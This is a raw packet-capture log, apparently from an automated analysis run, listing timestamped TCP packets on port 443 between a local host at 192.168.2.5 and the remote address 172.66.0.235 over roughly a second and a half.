Nov 23, 2024 13:38:07.788237095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.788275957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.788286924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.788316011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.788336039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.789138079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.791002035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.791021109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.791078091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.791093111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.791145086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.792603016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.824270964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.824295044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.824342012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.824364901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.824392080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.824409962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.969291925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.969317913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.969376087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.969403982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.969429016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.969451904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.971771955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.971792936 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.971838951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.971851110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.971879959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.971896887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.973458052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.973480940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.973526955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.973539114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.973573923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.973593950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.975992918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.976013899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.976052046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.976063967 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.976089954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.976109028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.978334904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.978354931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.978416920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.978432894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.978458881 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.978477001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.980124950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.980144978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.980185986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.980196953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.980223894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.980249882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.981879950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.982965946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.982985973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.983025074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.983036995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:07.983063936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.983081102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:07.991864920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.016161919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.016185999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.016238928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.016264915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.016293049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.016311884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.167383909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.167411089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.167522907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.167546034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.167604923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.169715881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.169737101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.169789076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.169800997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.169828892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.169848919 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.171799898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.171819925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.171869040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.171880960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.171910048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.171930075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.174092054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.174113035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.174180031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.174192905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.174243927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.176347971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.176367998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.176445961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.176459074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.176520109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.178551912 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.178570986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.178641081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.178653955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.178702116 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.179368019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.180912971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.180934906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.180979967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.180991888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.181041002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.181061983 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.186214924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.208071947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.208093882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.208149910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.208164930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.208194971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.208215952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.359723091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.359752893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.359863043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.359886885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.359947920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.361599922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.361629009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.361690998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.361702919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.361747026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.361768007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.363852024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.363873005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.363951921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.363965034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.364026070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.366334915 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.366354942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.366425037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.366436958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.366492987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.368170023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.368191957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.368262053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.368273973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.368321896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.369415045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.370481968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.370501995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.370574951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.370588064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.370640993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.372803926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.372849941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.372929096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.372941971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.373003006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.428775072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.549937963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.549968958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.550045013 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.550062895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.550115108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.551523924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.551544905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.551589966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.551601887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.551630020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.551650047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.553256035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.553276062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.553327084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.553339005 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.553391933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.555721998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.555740118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.555782080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.555794001 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.555825949 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.555845022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.558140993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.558161020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.558206081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.558217049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.558259964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.558279991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.560031891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.560086012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.560131073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.560142040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.560192108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.560192108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.562311888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.562333107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.562386990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.562402010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.562428951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.562448978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.564506054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.564524889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.564570904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.564583063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.564615011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.564651012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.613430977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.741944075 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.741969109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.742012978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.742044926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.742069960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.742090940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.743352890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.743379116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.743421078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.743432999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.743459940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.743495941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.745727062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.745748043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.745785952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.745796919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.745830059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.745857954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.747488976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.747509003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.747544050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.747555971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.747581005 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.747601986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.749973059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.749993086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.750034094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.750046015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.750075102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.750093937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.752357006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.752386093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.752423048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.752434969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.752466917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.752501011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.754308939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.754328012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.754379034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.754390955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.754420042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.754440069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.756386995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.756407022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.756444931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.756458044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.756484985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.756504059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.771348953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.933701992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.933732033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.933775902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.933803082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.933851004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.933851004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.935517073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.935535908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.935592890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.935606956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.935657978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.937840939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.937860012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.937901974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.937913895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.937939882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.937957048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.939696074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.939718008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.939757109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.939769030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.939799070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.939819098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.942081928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.942101002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.942140102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.942151070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.942178965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.942198992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.944489956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.944509983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.944552898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.944565058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.944608927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.944628000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.946472883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.946492910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.946532011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.946542978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.946571112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.946609020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.948554039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.948574066 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.948616028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.948627949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:08.948656082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.948673010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:08.956924915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.125937939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.126003027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.126041889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.126066923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.126095057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.126111984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.127281904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.127346039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.127351046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.127373934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.127412081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.127433062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.129713058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.129832029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.129856110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.129868031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.129914999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.129914999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.131536007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.131583929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.131608963 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.131619930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.131645918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.131664991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.133836031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.133887053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.133903980 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.133914948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.133945942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.133963108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.136251926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.136276960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.136316061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.136348963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.136373997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.136390924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.137864113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.138008118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.138024092 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.138067961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.138082027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:09.138108969 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.138128042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:09.140204906 CET	443	49704	172.66.0.235	192.168.2.5
